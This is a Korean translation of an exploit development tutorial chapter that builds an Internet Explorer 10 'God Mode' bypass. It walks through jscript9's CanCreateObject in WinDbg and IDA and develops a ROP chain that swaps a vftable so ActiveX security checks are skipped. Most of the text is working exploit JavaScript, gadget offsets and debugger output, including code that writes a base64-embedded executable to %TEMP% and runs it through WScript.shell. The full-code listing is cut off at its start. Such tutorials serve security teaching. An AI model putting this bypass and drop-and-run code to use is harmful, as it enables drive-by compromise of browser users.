티스토리 뷰
본 문서는 원문 저자인 Massimiliano Tomassoli의 허락 하에 번역이 되었으며, 원문과 관련된 모든 저작물에 대한 저작권은 원문 저자인 Massimiliano Tomassoli에 있음을 밝힙니다.
http://expdev-kiuhnm.rhcloud.com
최신 윈도우즈 익스플로잇 개발 16. IE 10 (God Mode 2)
hackability.kr (김태범)
hackability_at_naver.com or ktb88_at_korea.ac.kr
2016.07.22
God Mode 수정
근본적인 부분으로 접근하기 전에 어디서 충돌이 발생하는지 찾아보도록 하겠습니다. 이를 위해, 알림창을 몇 개 추가했습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | function createExe(fname, data) { alert("3"); // <------------------------------------------ var tStream = new ActiveXObject("ADODB.Stream"); var bStream = new ActiveXObject("ADODB.Stream"); alert("4"); // <------------------------------------------ tStream.Type = 2; // text bStream.Type = 1; // binary tStream.Open(); bStream.Open(); tStream.WriteText(data); tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?) tStream.CopyTo(bStream); bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists tStream.Close(); bStream.Close(); } function decode(b64Data) { var data = window.atob(b64Data); // Now data is like // 11 00 12 00 45 00 50 00 ... // rather than like // 11 12 45 50 ... // Let's fix this! var arr = new Array(); for (var i = 0; i < data.length / 2; ++i) { var low = data.charCodeAt(i*2); var high = data.charCodeAt(i*2 + 1); arr.push(String.fromCharCode(low + high * 0x100)); } return arr.join(''); } alert("1"); // <------------------------------------------ shell = new ActiveXObject("WScript.shell"); alert("2"); // <------------------------------------------ fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe"); createExe(fname, decode(runcalc)); shell.Exec(fname); write(mshtml+0xc555e0+0x14, old); // God mode off! alert("All done!"); | cs |
IE 에서 127.0.0.1을 통해 페이지를 다시 부르고 0xc0af000의 Int32Array의 크기를 변경하면 무슨일이 일어나는지 보도록하죠. 알림창 1부터 3까지 뜨고난뒤, 충돌이 발생하는 것을 볼 수 있습니다. 이를 통해 우리는 아래 명령을 실행하면서 충돌이 발생됨을 알 수 있습니다.
1 2 | var tStream = new ActiveXObject("ADODB.Stream"); var bStream = new ActiveXObject("ADODB.Stream"); | cs |
왜 WScript.shell에서는 아무 문제가 없는 걸까요?
차이점은 ADODB.Stream이 Microsoft에 의해 비활성화된 것 입니다! 아마 jscript9!ScriptSite::CreateObjectFromProgID 에서 뭔가 일어난것 같습니다. 한 번 보도록 하죠.
위 과정을 반복하고 이번에는 알림창 3이 뜨면 jscript9!ScriptSite::CreateObjectFromProgID에 breakpoint를 설정합니다. CreateObjectFromProgID 내부로 들어가보겠습니다.
jscript9!ScriptSite::CreateObjectFromProgID:
04f3becb 8bff mov edi,edi
04f3becd 55 push ebp
04f3bece 8bec mov ebp,esp
04f3bed0 83ec34 sub esp,34h
04f3bed3 a144630f05 mov eax,dword ptr [jscript9!__security_cookie (050f6344)]
04f3bed8 33c5 xor eax,ebp
04f3beda 8945fc mov dword ptr [ebp-4],eax
04f3bedd 53 push ebx
04f3bede 8b5d0c mov ebx,dword ptr [ebp+0Ch]
04f3bee1 56 push esi
04f3bee2 33c0 xor eax,eax
04f3bee4 57 push edi
04f3bee5 8b7d08 mov edi,dword ptr [ebp+8]
04f3bee8 8bf2 mov esi,edx
04f3beea 8975dc mov dword ptr [ebp-24h],esi
04f3beed 8945cc mov dword ptr [ebp-34h],eax
04f3bef0 897dd0 mov dword ptr [ebp-30h],edi
04f3bef3 8945d4 mov dword ptr [ebp-2Ch],eax
04f3bef6 8945d8 mov dword ptr [ebp-28h],eax
04f3bef9 8945e8 mov dword ptr [ebp-18h],eax
04f3befc 85ff test edi,edi
04f3befe 0f85e26a1600 jne jscript9!memset+0xf390 (050a29e6)
04f3bf04 8b4604 mov eax,dword ptr [esi+4]
04f3bf07 e8d5000000 call jscript9!ScriptEngine::InSafeMode (04f3bfe1)
04f3bf0c 85c0 test eax,eax
04f3bf0e 8d45ec lea eax,[ebp-14h]
04f3bf11 50 push eax
04f3bf12 51 push ecx
04f3bf13 0f84d86a1600 je jscript9!memset+0xf39b (050a29f1)
04f3bf19 ff1508400e05 call dword ptr [jscript9!_imp__CLSIDFromProgID (050e4008)]
04f3bf1f 85c0 test eax,eax
04f3bf21 0f88e867fcff js jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04f0270f)
04f3bf27 8d45ec lea eax,[ebp-14h]
04f3bf2a 50 push eax
04f3bf2b 8b4604 mov eax,dword ptr [esi+4] ds:002b:02facc44=02f8c480
04f3bf2e e8e2030000 call jscript9!ScriptEngine::CanCreateObject (04f3c315) <------------------
04f3bf33 85c0 test eax,eax <------------------ EAX = 0
04f3bf35 0f84d467fcff je jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04f0270f) <----- je taken!
.
.
.
04f0270f bead010a80 mov esi,800A01ADh
04f02714 e99d980300 jmp jscript9!ScriptSite::CreateObjectFromProgID+0xe3 (04f3bfb6)
.
.
.
04f3bfb6 8b4dfc mov ecx,dword ptr [ebp-4] ss:002b:03feb55c=91c70f95
04f3bfb9 5f pop edi
04f3bfba 8bc6 mov eax,esi
04f3bfbc 5e pop esi
04f3bfbd 33cd xor ecx,ebp
04f3bfbf 5b pop ebx
04f3bfc0 e87953f2ff call jscript9!__security_check_cookie (04e6133e)
04f3bfc5 c9 leave
04f3bfc6 c20800 ret 8
보시다시피, CanCreateObject가 0을 반환하고 CanObjectRun은 호출되지도 않습니다. CanCreateObject를 강제로 1을 반환하게 하면 어떨까요? 위 과정을 다시 반복하고 이번에는 CanCreateObject 호출 직후, EAX를 1로 설정합니다. (r eax=1) 기억할 점은 이 과정을 두 번 해야 하는데 그 이유는 ADODB.Stream 객체를 2개 생성해야 하기 때문입니다.
이제 알림창 4가 뜨긴하지만 알림창을 끄면 충돌이 발생합니다. God Mode를 꼭 필요할 때만 활성화 시키는건 어떨까요? 코드를 좀 수정해보도록 하겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | var old = read(mshtml+0xc555e0+0x14); // content of exe file encoded in base64. runcalc = 'TVqQAAMAAAAEAAAA//8AA <snipped> AAAAAAAAAAAAAAAAAAAAA'; function createExe(fname, data) { write(mshtml+0xc555e0+0x14, jscript9+0xdc164); // God mode on! var tStream = new ActiveXObject("ADODB.Stream"); var bStream = new ActiveXObject("ADODB.Stream"); write(mshtml+0xc555e0+0x14, old); // God mode off! tStream.Type = 2; // text bStream.Type = 1; // binary tStream.Open(); bStream.Open(); tStream.WriteText(data); tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?) tStream.CopyTo(bStream); bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists tStream.Close(); bStream.Close(); } function decode(b64Data) { var data = window.atob(b64Data); // Now data is like // 11 00 12 00 45 00 50 00 ... // rather than like // 11 12 45 50 ... // Let's fix this! var arr = new Array(); for (var i = 0; i < data.length / 2; ++i) { var low = data.charCodeAt(i*2); var high = data.charCodeAt(i*2 + 1); arr.push(String.fromCharCode(low + high * 0x100)); } return arr.join(''); } write(mshtml+0xc555e0+0x14, jscript9+0xdc164); // God mode on! shell = new ActiveXObject("WScript.shell"); write(mshtml+0xc555e0+0x14, old); // God mode off! fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe"); createExe(fname, decode(runcalc)); shell.Exec(fname); alert("All done!"); | cs |
페이지를 다시 불러오고 CanCreateObject 직후 EAX를 1로 설정합니다. 이번에는 CanCreateObject에 직접 breakpoint를 설정합니다.
bp jscript9!ScriptEngine::CanCreateObject
breakpoint가 실행될 때, Shift + F11을 누르고 EAX를 1로 설정합니다. 이번에는 충돌이 발생하진 않지만 계산기가 뜨지 않습니다. 개발자 도구 (Developer Tools)를 활성화 시키고 위 과정을 반복함면 아래 에러를 볼 수 있습니다.
이 에러는 나중을 위해 냅두고, 지금은 God Mode 문제가 거의 해결된 것에 대해 기뻐하도록 합시다. 아직 CanCreateObject가 어떻게 해서든 true를 반환하도록 수정을 해야 합니다. 다시 위 과정을 반복하고 CanCreateObject에 breakpoint를 설정합니다. breakpoint가 실행되면, CanCreateObject 분석을 시작합니다.
jscript9!ScriptEngine::CanCreateObject:
04dcc315 8bff mov edi,edi
04dcc317 55 push ebp
04dcc318 8bec mov ebp,esp
04dcc31a 51 push ecx
04dcc31b 51 push ecx
04dcc31c 57 push edi
04dcc31d 8bf8 mov edi,eax
04dcc31f f687e401000008 test byte ptr [edi+1E4h],8
04dcc326 743d je jscript9!ScriptEngine::CanCreateObject+0x50 (04dcc365)
04dcc328 8d45fc lea eax,[ebp-4]
04dcc32b 50 push eax
04dcc32c e842000000 call jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef (04dcc373)
04dcc331 85c0 test eax,eax
04dcc333 7835 js jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a) [br=0]
04dcc335 8b45fc mov eax,dword ptr [ebp-4]
04dcc338 8b08 mov ecx,dword ptr [eax] <------------------ ecx = object.vftptr
04dcc33a 6a00 push 0
04dcc33c 6a00 push 0
04dcc33e 6a10 push 10h
04dcc340 ff7508 push dword ptr [ebp+8]
04dcc343 8d55f8 lea edx,[ebp-8]
04dcc346 6a04 push 4
04dcc348 52 push edx +---------------------
04dcc349 6800120000 push 1200h |
04dcc34e 50 push eax v
04dcc34f ff5110 call dword ptr [ecx+10h] ds:002b:6ac755f0={MSHTML!TearoffThunk4 (6a25604a)}
04dcc352 85c0 test eax,eax
04dcc354 7814 js jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a)
04dcc356 f645f80f test byte ptr [ebp-8],0Fh
04dcc35a 6a00 push 0
04dcc35c 58 pop eax
04dcc35d 0f94c0 sete al
04dcc360 5f pop edi
04dcc361 c9 leave
04dcc362 c20400 ret 4
0x04dcc34f의 가상 함수 호출을 보시기 바랍니다. CanObjectRun에서 썻던 동일한 방법을 사용할 수 있습니다! 이전 처럼, ECX는 vftable을 가리키고 있습니다.
0:007> dds ecx
6ac755e0 6a0b2681 MSHTML!PlainQueryInterface
6ac755e4 6a0b25a1 MSHTML!CAPProcessor::AddRef
6ac755e8 6a08609d MSHTML!PlainRelease
6ac755ec 6a078eb5 MSHTML!TearoffThunk3
6ac755f0 6a25604a MSHTML!TearoffThunk4 <----------- we need to modify this for CanCreateObject
6ac755f4 04dcc164 jscript9!ScriptEngine::CanObjectRun+0xaf <---------- this is our fix for CanObjectRun!
6ac755f8 6a129a77 MSHTML!TearoffThunk6
6ac755fc 6a201a73 MSHTML!TearoffThunk7
6ac75600 6a12770c MSHTML!TearoffThunk8
6ac75604 6a12b22c MSHTML!TearoffThunk9
6ac75608 6a12b1e3 MSHTML!TearoffThunk10
6ac7560c 6a257db5 MSHTML!TearoffThunk11
6ac75610 6a12b2b8 MSHTML!TearoffThunk12
6ac75614 6a332a3d MSHTML!TearoffThunk13
6ac75618 6a242719 MSHTML!TearoffThunk14
6ac7561c 6a254879 MSHTML!TearoffThunk15
6ac75620 6a12b637 MSHTML!TearoffThunk16
6ac75624 6a131bf3 MSHTML!TearoffThunk17
6ac75628 6a129649 MSHTML!TearoffThunk18
6ac7562c 6a4a8422 MSHTML!TearoffThunk19
6ac75630 6a58bc4a MSHTML!TearoffThunk20
6ac75634 6a1316d9 MSHTML!TearoffThunk21
6ac75638 6a2e7b23 MSHTML!TearoffThunk22
6ac7563c 6a212734 MSHTML!TearoffThunk23
6ac75640 6a2e75ed MSHTML!TearoffThunk24
6ac75644 6a4c28c5 MSHTML!TearoffThunk25
6ac75648 6a3c5a7d MSHTML!TearoffThunk26
6ac7564c 6a3a6310 MSHTML!TearoffThunk27
6ac75650 6a3bff2d MSHTML!TearoffThunk28
6ac75654 6a3aa803 MSHTML!TearoffThunk29
6ac75658 6a3cd81a MSHTML!TearoffThunk30
6ac7565c 6a223f19 MSHTML!TearoffThunk31
보시다시피, CanObjectRun에서 수정했던 것과 동일한 vftable 입니다. 이제 CanCreateObject를 위해 [ecx + 10h]를 수정합니다. [ecx + 10h]의 위치에 CanCreateObject의 에필로그 주소로 덮어 씁니다. 문제는 CanCreateObject에서 반환하기 전에 EDI를 0으로 만들 필요가 있다는 것 입니다. 아래 코드는 CanCreateObject 호출 직후 입니다.
04ebbf2e e8e2030000 call jscript9!ScriptEngine::CanCreateObject (04ebc315)
04ebbf33 85c0 test eax,eax
04ebbf35 0f84d467fcff je jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04e8270f)
04ebbf3b 6a05 push 5
04ebbf3d 58 pop eax
04ebbf3e 85ff test edi,edi
04ebbf40 0f85b66a1600 jne jscript9!memset+0xf3a6 (050229fc) <----------------- taken if EDI != 0
만약 jne를 타게 된다면 CreateObjectFromProgID와 CreateActiveXObject는 실패하게 됩니다.
저는 여기서 몇 시간동안 적절한 코드를 찾아 봤지만 찾지 못했습니다. 적절한 코드 형태는 다음과 같습니다.
xor edi, edi
leave
ret 4
이정도면 완벽하지만 존재하지 않는군요. 제가 생각할 수 있는 다양한 변형들을 찾아 봤지만 이도 역시 찾지 못했습니다. 또한 아래와 같은 변형들도 찾아 봤습니다.
mov dword ptr [edx], 0
ret 20h
이 코드는 원본 가상 함수를 호출하고 [ebp - 8]을 초기화 합니다. 이 방법으로 CanCreateObject에서 true를 반환할 것 입니다.
04dcc338 8b08 mov ecx,dword ptr [eax]
04dcc33a 6a00 push 0
04dcc33c 6a00 push 0
04dcc33e 6a10 push 10h
04dcc340 ff7508 push dword ptr [ebp+8]
04dcc343 8d55f8 lea edx,[ebp-8] <---------- edx = ebp-8
04dcc346 6a04 push 4
04dcc348 52 push edx
04dcc349 6800120000 push 1200h
04dcc34e 50 push eax
04dcc34f ff5110 call dword ptr [ecx+10h] ds:002b:6ac755f0={MSHTML!TearoffThunk4 (6a25604a)}
04dcc352 85c0 test eax,eax
04dcc354 7814 js jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a)
04dcc356 f645f80f test byte ptr [ebp-8],0Fh <-------- if [ebp-8] == 0, then ...
04dcc35a 6a00 push 0
04dcc35c 58 pop eax
04dcc35d 0f94c0 sete al <-------- ... then EAX = 1
04dcc360 5f pop edi <-------- restores EDI (it was 0)
04dcc361 c9 leave
04dcc362 c20400 ret 4
위 코드는 EDI를 초기화 하는데 그 이유는 CanCreateObject가 호출 되었을 때 EDI가 0 이기 때문입니다.
다음으로, ROP를 시도 했습니다. 이를 위해 아래와 같은 코드를 찾아봤습니다.
xchg ecx, esp
ret
안타깝게도, 이와 유사한 어떤것도 찾을 수가 없었습니다. ECX 말고 다른 레지스터를 조작할 수 있으면 좋을텐데 말이죠...
음, 우리가 EAX를 조작할 수 있고 xche eax, esp 가젯이 xchg ecx, esp 가젯보다 더 흔하다는 것을 알았습니다.
아래는 우리가 진행할 개요 입니다.
우리는 이미 CanCreateObject와 CanObjectRun이 동일한 VFTable로 부터 가상 함수들을 호출하는 것을 알고 있습니다. 간단히 같은 객체에서 호출하는 것을 검증 할 수 있습니다. 위 개요를 통해 이를 확인 하실 수 있습니다.
CanCreateObject에서 관련된 코드를 보면 다음과 같습니다.
04dcc338 8b08 mov ecx,dword ptr [eax] <----------- we control EAX, which points to "object"
04dcc33a 6a00 push 0 <----------- now, ECX = object."vftable ptr"
04dcc33c 6a00 push 0
04dcc33e 6a10 push 10h
04dcc340 ff7508 push dword ptr [ebp+8]
04dcc343 8d55f8 lea edx,[ebp-8]
04dcc346 6a04 push 4
04dcc348 52 push edx
04dcc349 6800120000 push 1200h
04dcc34e 50 push eax
04dcc34f ff5110 call dword ptr [ecx+10h] <----------- call to gadget 1 (in the picture)
04dcc352 85c0 test eax,eax
04dcc354 7814 js jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a)
04dcc356 f645f80f test byte ptr [ebp-8],0Fh
04dcc35a 6a00 push 0
04dcc35c 58 pop eax
04dcc35d 0f94c0 sete al
04dcc360 5f pop edi
04dcc361 c9 leave <----------- this is gadget 4
04dcc362 c20400 ret 4
첫 번째 가젯이 호출 되면 ESP는 object+4를 가리키고 가젯 2를 반환합니다. 가젯 2, 3이후에 EDI는 0이 되고 EAX는 0이 아닌 값을 갖게 됩니다. 가젯 4는 ESP를 복원하고 CanCreateObject로 부터 반환하게 됩니다.
아래는 자바스크립트에서 그림에 나온 것과 같이 객체와 vftable을 설정하는 코드 입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | // vftable // +-----> +------------------+ // | | | // | | | // | 0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 | // | | | MOV EAX,ESI | POP ESI | RETN" // | 0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4" // | +------------------+ // object | // EAX ---> +-------------------+ | // | vftptr |-----+ // | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN" // | jscript9+0xf3baf | --> "XCHG EAX,EDI | RETN" // | jscript9+0xdc361 | --> "LEAVE | RET 4" // +-------------------+ // If we do "write(pp_obj, X)", we'll have EAX = X in CanCreateObject var pp_obj = ... ptr to ptr to object ... var old_objptr = read(pp_obj); var old_vftptr = read(old_objptr); // Create the new vftable. var new_vftable = new Int32Array(0x708/4); for (var i = 0; i < new_vftable.length; ++i) new_vftable[i] = read(old_vftptr + i*4); new_vftable[0x10/4] = jscript9+0x10705e; new_vftable[0x14/4] = jscript9+0xdc164; var new_vftptr = read(get_addr(new_vftable) + 0x1c); // ptr to raw buffer of new_vftable // Create the new object. var new_object = new Int32Array(4); new_object[0] = new_vftptr; new_object[1] = jscript9 + 0x15f800; new_object[2] = jscript9 + 0xf3baf; new_object[3] = jscript9 + 0xdc361; var new_objptr = read(get_addr(new_object) + 0x1c); // ptr to raw buffer of new_object function GodModeOn() { write(pp_obj, new_objptr); } function GodModeOff() { write(pp_obj, old_objptr); } | cs |
코드 자체는 이해하기 쉽습니다. 여기서 객체 (new_object)와 vftable (new_vftable)을 2개의 Int32Arrays를 이용하여 생성하고 객체가 vftable을 가리킵니다. (실제론 raw buffers) 우리의 vftable은 기존의 vftable의 수정된 복사본 입니다. 2개의 수정된 필드들 (오프셋 0x10, 0x14)가 사용되기 때문에 기존의 vftable의 복사본이 필요하지 않을 수도 있지만 이는 문제가 되지 않습니다.
이제 EAX가 우리의 객체를 가리키게 함으로써 God Mode를 활성화 시킬 수 있고, EAX가 기존의 객체를 가리키게 함으로써 God Mode를 비활성화 시킬 수 있습니다.
EAX 조작
우리가 EAX를 조작할 수 있는지 보기 위해, EAX가 어디서 오는지 찾아야 합니다. 여기서 EAX가 조작될 수 있으며 ROP를 위해 어떻게 익스플로잇 할 수 있는지 보이도록 하겠습니다. 이제 어떻게 EAX가 조작될 수 있는지 보여드리겠습니다. 실제로는 이 부분이 제일 처음 이루어져야 합니다. 먼저, 어떤 것들이 조작 가능하다면 이를 위한 코드를 작성합니다.
이는 분명히 WinDbg에서 분석이 요구 되지만 IDA Pro를 이용하는 것이 더 편합니다. 만약 IDA Pro가 없으시다면 무료 버전을 다운받으시길 바랍니다.
IDA는 매우 똑똑한 디스어셈블러 입니다. IDA의 주요 기능은 “interactive”로써, IDA가 코드에 대해 디스어셈블링이 끝낫다면 이에 대해 수정하거나 조작이 가능합니다. 예를들어, IDA에서 잘못된 부분을 수정하거나 주석을 추가하거나 구조체를 정의하거나 이름을 변경하는 등등을 일컷습니다.
만약 악성코드 분석이나 익스플로잇 개발에 대해 경력을 쌓고 싶다면 IDA에 대해 매우 친숙해야 하며 Pro 버전을 구매하시길 바랍니다.
CanCreateObject는 jscript9에 있습니다. WinDbg에서 이 모듈의 경로를 찾아보도록 하겠습니다.
0:015> lmf m jscript9
start end module name
71c00000 71ec6000 jscript9 C:\Windows\SysWOW64\jscript9.dll
IDA에서 jscript9.dll을 열고 필요하다면 IDA에서 데이터베이스 생성 경로를 지정하시기 바랍니다. IDA에서 물음창이 뜨면 jscript9.dll의 심볼들을 다운로드 할 수 있도록 허용하세요. CTRL + P (jump to function)을 누르고 Search를 통해 CanCreateObject를 찾습니다. 이제 CanCreateObject는 아래 그림 처럼 선택될겁니다.
CanCreateObject를 더블클릭하면 CanCreateObject 함수의 그래프를 볼 수 있습니다. 만약 코드가 보이신다면 스페이스바를 누르시면 됩니다. 심볼의 이름을 변경하려면 해당 심볼을 클릭하고 n을 누릅니다. IDA는 매우 강력한 기능들을 갖는데, 텍스트가 선택되면 해당 텍스트에 해당하는 모든 것들이 하이라이트 됩니다. 이는 코드에 대해 추적하기 매우 편리한 기능입니다.
아래 그림을 한번 보시면
이는 명백히 [ebp+object]가 GetSiteHostSecurityManagerNoRef 내부에서 변경됨을 보입니다.
아래 함수를 살펴보도록 하겠습니다.
보시다시피, object 변수는 [edi + 1F0h]로 덮어 써집니다. 또한 [edi + 1F0h]가 0이라면 초기화되는 것도 확인할 수 있습니다. 나중을 위해 이 과정을 기억하도록 합니다. 지금은 edi를 추적할 필요가 있습니다. CanCreateObject를 한 번 보시죠.
CanCreateObject를 호출하는 코드를 보기 위해서 위 그림에서 표시된 곳에서 CTRL + X를 누릅니다. 그리고 함수를 선택하면 CreateObjectFromProgID 에 들어가게 됩니다.
여기까지 우리가 배운것은 다음과 같습니다.
esi = edx
eax = [esi+4]
edi = eax
object = [edi+1f0h]
이제 CreateObjectFromProgID 호출자로 가서 EDX를 추적합니다. 이를 위해, CreateObjectFromProgID에서 CTRL+X를 누릅니다. 2가지 옵션이 있는데 CreateActiveXObject를 선택합니다. 이제 CreateActiveXObject 내부로 들어 갑니다.
위 개요에 대해 조금 갱신을 해보면 다음과 같습니다.
esi = arg0
edx = esi
esi = edx
eax = [esi+4]
edi = eax
object = [edi+1f0h]
이제 우리는 CreateActiveXObject에 전달되는 첫 번째 인자를 따라갈 필요가 있습니다. 이전과 마찬가지로, CreateActiveXObject를 호출하는 코드로 이동합니다. 아래 그림을 보시기 바랍니다. (여기서는 그래프를 간소화 시키기 위해 몇몇 노드들을 합쳤습니다)
이후, 완성된 개요는 다음과 같습니다.
eax = arg_0
eax = [eax+28h]
edx = eax
esi = edx
eax = [esi+4]
edi = eax
object = [edi+1f0h]
이제 JavascriptActiveXObject::NewInstance로 전달되는 첫 번째 인자를 따라가야 합니다. 해당 인자를 클릭하고 CTRL + X를 누르면 익숙하지 않은 참조를 보게 됩니다. 이제 WinDbg로 돌아갈 시간입니다.
IE에서 아래 코드를 갖는 페이지를 불러옵니다.
1 2 3 4 5 6 7 8 9 10 11 | <html> <head> <script language="javascript"> alert("Start"); shell = new ActiveXObject("WScript.shell"); shell.Exec('calc.exe'); </script> </head> <body> </body> </html> | cs |
CanCreateObject에 breakpoint를 설정합니다.
bp jscript9!ScriptEngine::CanCreateObject
breakpoint가 실행되면 jscript9!Js::InterpreterStackFrame::NewScObject_Helper를 만날 때 까지 Shift+F11을 통해 함수를 빠져 나옵니다. 그러면 다음 코드를 만나게 됩니다.
045725c4 890c82 mov dword ptr [edx+eax*4],ecx
045725c7 40 inc eax
045725c8 3bc6 cmp eax,esi
045725ca 72f5 jb jscript9!Js::InterpreterStackFrame::NewScObject_Helper+0xc2 (045725c1)
045725cc ff75ec push dword ptr [ebp-14h]
045725cf ff75e8 push dword ptr [ebp-18h]
045725d2 ff55e4 call dword ptr [ebp-1Ch]
045725d5 8b65e0 mov esp,dword ptr [ebp-20h] ss:002b:03a1bc00=03a1bbe4 <--------- we're here!
045725d8 8945d8 mov dword ptr [ebp-28h],eax
045725db 8b4304 mov eax,dword ptr [ebx+4]
045725de 83380d cmp dword ptr [eax],0Dh
여기서 우리는 왜 IDA에서 이 호출을 추적할 수 없는지 볼 수 있습니다. 이는 동적 호출로 해당 호출이 정적이지 않다는 의미입니다. 첫 번째 인자를 보도록 하겠습니다.
0:007> dd poi(ebp-18)
032e1150 045e2b70 03359ac0 03355520 00000003
032e1160 00000000 ffffffff 047c4de4 047c5100
032e1170 00000037 00000000 02cc4538 00000000
032e1180 0453babc 00000000 00000001 00000000
032e1190 00000000 032f5410 00000004 00000000
032e11a0 00000000 00000000 00000000 00000000
032e11b0 04533600 033598c0 033554e0 00000003
032e11c0 00000000 ffffffff 047c4de4 047c5660
첫 번째 값은 아마 vftable의 포인터 입니다.
0:007> ln 045e2b70
(045e2b70) jscript9!JavascriptActiveXFunction::`vftable' | (04534218) jscript9!Js::JavascriptSafeArrayObject::`vftable'
Exact matches:
jscript9!JavascriptActiveXFunction::`vftable' = <no type information>
맞군요! 중요한 점은, JavascriptActiveXFunction은 ActiveXObject 함수로 ActiveX 객체를 생성하기 위해 사용됩니다! 이 부분이 우리의 시작점 입니다. 따라서, 완성된 개요는 다음과 같습니다.
X = address of ActiveXObject
X = [X+28h]
X = [X+4]
object = [X+1f0h]
이제 우리가 찾은 것들이 정확한지 검증해보도록 하겠습니다. 이를 위해 아래 자바스크립트 코드를 사용합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | <html> <head> <script language="javascript"> a = new Array(0x2000); for (var i = 0; i < 0x2000; ++i) { a[i] = new Array((0x10000 - 0x20)/4); for (var j = 0; j < 0x1000; ++j) a[i][j] = ActiveXObject; } alert("Done"); </script> </head> <body> </body> </html> | cs |
IE에서 위 페이지를 불러오고 WinDbg에서 0xadd0000 (또는 더 높은 주소)의 메모리를 살펴봅니다. 메모리는 ActiveXObject의 주소로 채워져 있어야 합니다. 제 경우에는 이 주소가 0x03411150이였습니다. 이제 이 객체의 주소로 가보도록 하겠습니다.
0:002> ? poi(03411150+28)
Evaluate expression: 51132616 = 030c38c8
0:002> ? poi(030c38c8+4)
Evaluate expression: 51075360 = 030b5920
0:002> ? poi(030b5920+1f0)
Evaluate expression: 0 = 00000000
주소가 0 입니다. 왜 이럴까요? 아래 그림을 한 번 보시기 바랍니다.
객체 포인터를 초기화 하기 위해서, CanCreateObject 호출이 필요 합니다. (ActiveX 객체가 필요 합니다) 자바스크립트 코드를 다음과 같이 변경합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | <html> <head> <script language="javascript"> new ActiveXObject("WScript.shell"); a = new Array(0x2000); for (var i = 0; i < 0x2000; ++i) { a[i] = new Array((0x10000 - 0x20)/4); for (var j = 0; j < 0x1000; ++j) a[i][j] = ActiveXObject; } alert("Done"); </script> </head> <body> </body> </html> | cs |
위 과정을 반복하고 객체의 주소를 구해보도록 하겠습니다.
0:005> ? poi(03411150+28)
Evaluate expression: 51459608 = 03113618
0:005> ? poi(03113618+4)
Evaluate expression: 51075360 = 030b5920
0:005> ? poi(030b5920+1f0)
Evaluate expression: 6152384 = 005de0c0
0:005> dd 005de0c0
005de0c0 6d0f55e0 00000001 6c4d7408 00589620
005de0d0 6c532ac0 00000000 00000000 00000000
005de0e0 00000005 00000000 3fd6264b 8c000000
005de0f0 005579b8 005de180 005579b8 5e6c858f
005de100 47600e22 33eafe9a 7371b617 005a0a08
005de110 00000000 00000000 3fd62675 8c000000
005de120 005882d0 005579e8 00556e00 5e6c858f
005de130 47600e22 33eafe9a 7371b617 005ce140
0:005> ln 6d0f55e0
(6d0f55e0) MSHTML!s_apfnPlainTearoffVtable | (6d0f5ce8) MSHTML!s_apfnEmbeddedDocTearoffVtable
Exact matches:
MSHTML!s_apfnPlainTearoffVtable = <no type information>
완벽하군요! 잘 동작합니다!
이제 우리는 자바스크립트 코드를 완성시킬 수 있습니다.
1 2 3 4 5 6 7 8 | var old = read(mshtml+0xc555e0+0x14); write(mshtml+0xc555e0+0x14, jscript9+0xdc164); // God Mode On! var shell = new ActiveXObject("WScript.shell"); write(mshtml+0xc555e0+0x14, old); // God Mode Off! addr = get_addr(ActiveXObject); var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0; // ptr to ptr to object | cs |
이제 우리는 어떤 경고 메시지 없이 WScript.shell을 생성하기 위한 기존의 God Mode를 이용할 수 있습니다.
아래는 전체 코드 입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 | <html> <head> <script language="javascript"> (function() { alert("Starting!"); //----------------------------------------------------- // From one-byte-write to full process space read/write //----------------------------------------------------- a = new Array(); // 8-byte header | 0x58-byte LargeHeapBlock // 8-byte header | 0x58-byte LargeHeapBlock // 8-byte header | 0x58-byte LargeHeapBlock // . // . // . // 8-byte header | 0x58-byte LargeHeapBlock // 8-byte header | 0x58-byte ArrayBuffer (buf) // 